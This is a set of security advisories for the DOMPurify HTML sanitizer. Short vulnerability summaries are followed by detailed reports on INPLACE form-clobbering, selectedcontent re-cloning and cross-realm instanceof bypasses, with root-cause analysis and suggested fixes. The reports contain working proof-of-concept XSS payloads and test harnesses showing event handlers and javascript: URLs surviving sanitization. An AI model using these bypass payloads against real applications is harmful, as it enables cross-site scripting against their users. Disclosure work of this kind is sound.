DOMPurify before 3.4.12 fails to execute afterSanitizeElements hook for custom elements allowed via CUSTOMELEMENTHANDLING.tagNameCheck, allowing attributes to bypass application security policies. Attackers can preserve sensitive attributes on custom elements that later re-inject them into innerHTML sinks, creating second-order XSS gadgets.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.7, DOMPurify INPLACE sanitization could skip shadow contents attached to an element inside <template>.content, allowing attacker-controlled markup such as event handlers, JavaScript URLs, or scripts to survive and execute when an application cloned and inserted the sanitized template. This issue is fixed in version 3.4.7.

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFEFORXML regex. Attackers can include payloads like /noscriptimg src=x onerror=alert(1) in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFEFORXML regex. Attackers can include closing rawtext tags like /textarea in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used. Commit c361baa added an early exit for FORBIDATTR at line 1214. The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

DOMPurify could allow a remote attacker to execute arbitrary code on the system, caused by a prototype pollution flaw in depth check. By adding or modifying properties of Object.prototype using a proto or constructor payload, an attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service condition on the system.

DOMPurify before 3.4.11 fails to clone the ALLOWEDATTR allowlist when setConfig() is used with an uponSanitizeAttribute hook, allowing the hook to permanently mutate the shared allowlist. Attackers can register a hook that conditionally allows dangerous attributes like onerror for trusted elements, then submit untrusted content that inherits the polluted allowlist and executes event handlers as stored XSS.

DOMPurify 3.0.0 before 3.4.9 does not reset the retained Trusted Types policy when clearConfig() is called, so a DOMPurify instance reused across trust boundaries stays bound to a previously supplied TRUSTEDTYPESPOLICY. A later caller that requests RETURNTRUSTEDTYPE output receives a TrustedHTML object created by the old (potentially unsafe) policy rather than a clean default, which can lead to script execution at a Trusted Types sink. Passing TRUSTEDTYPESPOLICY: null on the later call also does not clear the retained policy.

DOMPurify versions >=3.0.0 and before 3.4.8, when configured with SAFEFORTEMPLATES together with a DOM output mode (RETURNDOM, RETURNDOMFRAGMENT, or INPLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, <%evil%>) inside <template> element content. The final normalization/scrub pass (scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFEFORTEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected.

DOMPurify through 3.4.6 contains a cross-site scripting vulnerability in INPLACE mode that trusts attacker-controlled nodeName on live non-form nodes. Attackers can supply hostile live DOM objects with real script children whose observable nodeName is clobbered to appear as allowed elements, causing scripts to execute when the sanitized tree is inserted into a live document.

DOMPurify before 3.4.7 (affected versions <= 3.4.5) passes direct references to the module-level DEFAULTALLOWEDTAGS and DEFAULTALLOWEDATTR sets to the uponSanitizeElement and uponSanitizeAttribute hooks via data.allowedTags / data.allowedAttributes when sanitize is called without an explicit cfg.ALLOWEDTAGS / cfg.ALLOWEDATTR array. A hook that mutates these fields permanently widens the default allow-lists for the lifetime of the DOMPurify instance, so all subsequent default-config sanitize calls inherit the widened defaults and attacker payloads using the poisoned tag/attribute name survive sanitization. removeAllHooks(), clearConfig(), and passing a fresh cfg do not recover the state; only constructing a new DOMPurify instance does.

DOMPurify before 3.4.0 contains a logic error in the ADDTAGS function where short-circuit evaluation allows forbidden tags to bypass FORBIDTAGS restrictions. Attackers can craft input containing tags listed in FORBIDTAGS that are also added via ADDTAGS function, causing them to be retained in sanitized output.

DOMPurify through 3.3.3 fails to sanitize DOM elements passed via INPLACE mode when the element originates from a different window/realm (e.g., an iframe's contentDocument). A cross-realm instanceof check in the private isNode() function returns false for foreign-realm nodes, causing DOMPurify to stringify the element (yielding '[object HTMLDivElement]'), silently reset INPLACE to false, and return the unsanitized element unchanged with any XSS payloads intact.

In DOMPurify through 3.3.3, function predicates supplied via ADDATTR or ADDTAGS to DOMPurify.sanitize() persist in internal state (EXTRAELEMENTHANDLING) across subsequent sanitize() calls on the same instance. If a later call on the same instance provides ADDATTR or ADDTAGS as an array rather than a function, the previously set function handler is neither cleared nor overwritten, so it continues to approve attacker-controlled attributes or tags. This can allow dangerous event-handler attributes or forbidden tags (bypassing FORBIDTAGS) to survive sanitization, resulting in cross-site scripting. The vendor (Cure53) considers this an edge case outside DOMPurify's threat model; the referenced advisory lists 3.4.0 as the patched version.

DOMPurify before 3.3.2 contains a URI validation bypass vulnerability when ADDATTR is provided as a predicate function via EXTRAELEMENTHANDLING.attributeCheck. Attackers can supply a predicate that accepts specific attribute and tag combinations to bypass URI-safe validation, allowing unsafe protocols like javascript: to survive sanitization and execute as DOM-based XSS when the link is activated.

DOMPurify before 3.3.2 contains a prototype pollution vulnerability in USEPROFILES mode that allows attackers to bypass attribute filtering by polluting Array.prototype properties. Attackers can set Array.prototype properties like onclick to true, causing DOMPurify to accept event handlers as allowlisted attributes and resulting in DOM-based XSS when sanitized markup is rendered.

DOMPurify before 3.3.2 contains a mutation-XSS vulnerability when sanitized HTML is reinserted into special parsing contexts using innerHTML with wrappers like script, xmp, iframe, noembed, noframes, or noscript. Attackers can craft payloads with closing sequences that break out of the wrapper context during reparsing, reactivating dangerous markup with event handlers to execute JavaScript.

INPLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { INPLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. forceRemove silently no-ops because the root has no parent; the iterator drives on to sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed sanitizeAttachedShadowRoots walk traversal, not the main sanitizeElements / sanitizeAttributes pipeline against the iterator-root node).

Affected

- DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that does DOMPurify.sanitize(node, { INPLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns]) - INPLACE where the root is not an HTMLFormElement - INPLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] — forceRemove at src/purify.ts:930-939:

ts const forceRemove = function (node: Node): void { arrayPush(DOMPurify.removed, { element: node }); try { // eslint-disable-next-line unicorn/prefer-dom-node-remove getParentNode(node).removeChild(node); // [A1] throws when getParentNode returns null } catch () { remove(node); // [A2] WebIDL Node.remove() — spec-defined no-op } // when the node has no parent };

When the iterator-root has no parent (the standard INPLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — sanitizeAttributes at src/purify.ts:1490-1492:

ts const sanitizeAttributes = function (currentNode: Element): void { executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

const { attributes } = currentNode;

/ Check if we have attributes; if not we might have a text node / if (!attributes || isClobbered(currentNode)) { return; // [B] silently skips ALL attribute checks } // for clobbered nodes ... };

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if isClobbered, then sanitizeElements already removed this node, so we will never reach sanitizeAttributes on it." That invariant holds for every non-root node (their forceRemove succeeds in detaching them), but fails for the iterator root in INPLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make forceRemove fail loudly on parent-less nodes (so the caller can bail out of INPLACE entirely) or have sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of sanitizeElements:

ts const nodeIterator = createNodeIterator(INPLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) { sanitizeElements(currentNode); // returns true if killed — IGNORED sanitizeAttributes(currentNode); // runs unconditionally; relies on [B]'s skip ... }

If the return value were checked and sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently sanitizeAttributes is the only line of defense for a node that sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers isClobbered):

| name= value | property isClobbered checks | typeof on clobbered form | |---|---|---| | nodeName | typeof element.nodeName !== 'string' | object (an <INPUT>) | | setAttribute | typeof element.setAttribute !== 'function' | object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below | | namespaceURI | typeof element.namespaceURI !== 'string' | object | | insertBefore | typeof element.insertBefore !== 'function' | object | | hasChildNodes | typeof element.hasChildNodes !== 'function' | object | | childNodes | !(element.childNodes && typeof element.childNodes.length === 'number') | object — <INPUT> has no .length | | attributes | !(element.attributes instanceof NamedNodeMap) | object (an <INPUT> is not a NamedNodeMap) | | textContent | typeof element.textContent !== 'string' | object | | removeChild | typeof element.removeChild !== 'function' | object (non-callable) | | removeAttribute | typeof element.removeAttribute !== 'function' | object (non-callable) |

Any single one of the ten property names in isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal — runnable in a single browser context

html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber);

// typeof root.nodeName === 'object' (an <INPUT> element), not 'string'. // isClobbered fires; forceRemove(root) becomes a no-op because root.parentNode === null. DOMPurify.sanitize(root, { INPLACE: true });

console.log('output:', root.outerHTML); // <form onmouseover="window.rooted = 1"><input name="nodeName"></form> // ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

document.body.appendChild(root); root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); console.log('handler fired:', window.rooted === 1); // true </script> </body></html>

(2) End-to-end — Playwright against main HEAD

js const { chromium } = require('playwright'); const path = require('path');

(async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.setContent('<!doctype html><html><body></body></html>'); await page.addScriptTag({ path: path.resolve('dist/purify.js') });

const result = await page.evaluate(() => { const root = document.createElement('form'); root.setAttribute('onmouseover', 'window.rooted = 1'); const clobber = document.createElement('input'); clobber.setAttribute('name', 'nodeName'); root.appendChild(clobber);

DOMPurify.sanitize(root, { INPLACE: true });

document.body.appendChild(root); window.rooted = 0; root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

return { version: DOMPurify.version, output: root.outerHTML, handlerFired: window.rooted === 1, }; }); console.log(result); await browser.close(); })();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{ version: '3.4.5', output: '<form onmouseover="window.rooted = 1"><input name="nodeName"></form>', handlerFired: true }

(3) Variant matrix — six distinct clobber-target properties

Every property name in isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName" → <form onmouseover="…"><input></form> [BYPASS] name="setAttribute" → <form onmouseover="…"><input></form> [BYPASS] name="namespaceURI" → <form onmouseover="…"><input></form> [BYPASS] name="insertBefore" → <form onmouseover="…"><input></form> [BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form> [BYPASS] name="childNodes" → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { INPLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

js const t = document.createElement('template'); t.innerHTML = untrustedHtml; DOMPurify.sanitize(t.content.firstElementChild, { INPLACE: true }); container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

- action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented. - id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZEDOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc. - target="top", autofocus, formenctype, formmethod — all survive untouched. - Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

js const root = document.createElement('form'); root.setAttribute('action', 'javascript:alert(1)'); root.setAttribute('target', 'top'); root.setAttribute('onclick', 'alert(2)'); root.setAttribute('onmouseover', 'alert(3)'); root.setAttribute('autofocus', ''); root.setAttribute('formaction', 'javascript:alert(4)'); root.setAttribute('id', 'cookie'); // DOM-clobbering primitive root.innerHTML += '<input name="nodeName">'; DOMPurify.sanitize(root, { INPLACE: true }); console.log(root.outerHTML); // <form action="javascript:alert(1)" target="top" onclick="alert(2)" // onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)" // id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { INPLACE: true }) a second time hits the same isClobbered → forceRemove → sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

js const root = parseAttackerHtml(); // form with input name="nodeName" child DOMPurify.sanitize(root, { INPLACE: true }); // bypass: attrs survive DOMPurify.sanitize(root, { INPLACE: true }); // STILL bypassed: attrs survive const recovered = (() => { const t = document.createElement('template'); t.innerHTML = root.outerHTML; // forces a fresh parse const r = t.content.firstElementChild; DOMPurify.sanitize(r, { INPLACE: true }); return r; })(); // recovered.outerHTML === '<form><input></form>' ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFEFORTEMPLATES bypass for the root's attributes. When the caller sets SAFEFORTEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFEFORTEMPLATES: true:

js const root = document.createElement('form'); root.setAttribute('title', '{{evil}}'); root.setAttribute('onmouseover', 'window.x=1'); const c = document.createElement('input'); c.setAttribute('name', 'nodeName'); root.appendChild(c);

DOMPurify.sanitize(root, { INPLACE: true, SAFEFORTEMPLATES: true });

console.log(root.outerHTML); // <form title="{{evil}}" onmouseover="window.x=1"><input></form> // ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

- DOM-based template systems / editors that wrap DOMPurify with an INPLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML). - Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons. - Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { INPLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with INPLACE and shadow DOM") hardens sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change forceRemove's parent-less-node behavior or sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the INPLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

1. Make forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

ts const forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch () { try { remove(node); } catch () {} return node.parentNode === null && / but still attached to itself / false; } }; Then at :1855, if sanitizeElements returns true AND INPLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

2. Strip attributes inside sanitizeAttributes for clobbered roots: when isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.

3. Refuse INPLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFEFORTEMPLATES-bypass primitive; the present report does not depend on it.

Summary DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

Details The chain is as follows: 1. The browser parses the input and creates a <selectedcontent> clone from the selected <option> 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original <option> and removes selected=javascript:1 4. The browser refreshes the <selectedcontent> clone from the original option's content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside <selectedcontent>.

PoC js const dirty = '<select><button><selectedcontent></selectedcontent></button>' + '<option selected=javascript:1>' + '<img src=x onerror=alert(1)>x' + '</option></select>';

const clean = DOMPurify.sanitize(dirty); console.log(clean);

document.body.innerHTML = clean;

Observed "sanitized" output in Chromium 148/WebKit 625: html <select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired: html <select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.

Impact This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.

Cross-realm INPLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { INPLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected

- DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { INPLACE: true }) against a sanitizer instance bound to a different realm

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected - INPLACE calls where the input node was created in the same realm as the DOMPurify instance

Vulnerability details

The unifying defect is that isClobbered, sanitizeShadowDOM's template-content recursion, and sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — isClobbered gates on element instanceof HTMLFormElement

src/purify.ts:1120-1140:

ts const isClobbered = function (element: Element): boolean { return ( element instanceof HTMLFormElement && // [A] realm-bound — false for any // iframe-realm <form> element (typeof element.nodeName !== 'string' || typeof element.textContent !== 'string' || typeof element.removeChild !== 'function' || !(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound typeof element.removeAttribute !== 'function' || typeof element.setAttribute !== 'function' || typeof element.namespaceURI !== 'string' || typeof element.insertBefore !== 'function' || typeof element.hasChildNodes !== 'function' || !(element.childNodes && typeof element.childNodes.length === 'number')) ); };

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.

[B] — sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment

src/purify.ts:1660-1662:

ts while ((shadowNode = shadowIterator.nextNode())) { ... sanitizeElements(shadowNode); sanitizeAttributes(shadowNode); / Deep shadow DOM detected / if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound sanitizeShadowDOM(shadowNode.content); } }

The same check exists in the main iterator at :1861-1862:

ts if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound sanitizeShadowDOM(currentNode.content); }

For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.

[C] — sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment

src/purify.ts:1702-1712:

ts if (nodeType === NODETYPE.element) { const sr = getShadowRoot ? getShadowRoot(root) : (root as Element).shadowRoot; if (sr instanceof DocumentFragment) { // [C] realm-bound sanitizeAttachedShadowRoots(sr); sanitizeShadowDOM(sr); } }

For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

The mismatch

DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).

Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { INPLACE: true }) and verifies that handler execution succeeds on subsequent activation.

PoC 1 — cross-realm form clobbering survives

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); div.id = 'dirty'; const form = idoc.createElement('form'); form.setAttribute('onmouseover', 'window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1'); const inp = idoc.createElement('input'); inp.setAttribute('name', 'attributes'); // clobbers form.attributes form.appendChild(inp); div.appendChild(form);

DOMPurify.sanitize(div, { INPLACE: true });

window.dompurifyxss = 0; document.body.appendChild(div); form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true })); // window.dompurifyxss === 1 }; document.body.appendChild(iframe);

Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):

json { "sanitizeError": null, "before": { "formIsMainRealmHTMLFormElement": false, "formIsForeignRealmHTMLFormElement": true, "formAttributesType": "[object HTMLInputElement]", "formAttributesEqualsInput": true }, "after": { "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1\"><input></form></div>", "formOnmouseover": "window.parent.dompurifyxss=(window.parent.dompurifyxss||0)+1", "xssExecuted": 1 } }

PoC 2 — cross-realm <template> content is never walked

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const div = idoc.createElement('div'); const tpl = idoc.createElement('template'); tpl.innerHTML = '<img src="x" onerror=' + '"window.parent.dompurifytemplatexss=(window.parent.dompurifytemplatexss||0)+1">'; div.appendChild(tpl);

DOMPurify.sanitize(div, { INPLACE: true });

window.dompurifytemplatexss = 0; const clone = idoc.importNode(tpl.content, true); document.body.appendChild(clone); // fires onerror }; document.body.appendChild(iframe);

Observed:

json { "before": { "templateIsMainRealmHTMLTemplateElement": false, "contentIsMainRealmDocumentFragment": false, "contentIsForeignRealmDocumentFragment": true }, "after": { "templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.dompurifytemplatexss=(window.parent.dompurifytemplatexss||0)+1\">", "xssExecuted": 1 } }

PoC 3 — cross-realm attached shadow root is never walked

js const iframe = document.createElement('iframe'); iframe.srcdoc = '<!doctype html><html><body></body></html>'; iframe.onload = () => { const idoc = iframe.contentDocument; const host = idoc.createElement('div'); host.attachShadow({ mode: 'open' }).innerHTML = '<img src=x onerror="window.parent.dompurifyshadowxss=(window.parent.dompurifyshadowxss||0)+1"><b>safe text</b>';

DOMPurify.sanitize(host, { INPLACE: true });

window.dompurifyshadowxss = 0; document.body.appendChild(host); // shadow activates, onerror fires }; document.body.appendChild(iframe);

Observed:

json { "before": { "hostIsMainRealmElement": false, "shadowRootIsMainRealmDocumentFragment": false, "shadowRootIsForeignRealmDocumentFragment": true }, "after": { "shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.dompurifyshadowxss=(window.parent.dompurifyshadowxss||0)+1\"><b>safe text</b>", "xssExecuted": 1 } }

All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.

Impact

Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with INPLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

- Form root attributes — onmouseover, onfocus, onclick, action="javascript:...", formaction=, target=, id= (DOM-clobbering target), and the full attribute-allowlist set, because sanitizeAttributes walks a clobbered .attributes instead of the real NamedNodeMap. - <template> content — <img onerror>, <svg><script>, <iframe srcdoc>, etc., because the inert template tree is never recursed into. - Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.

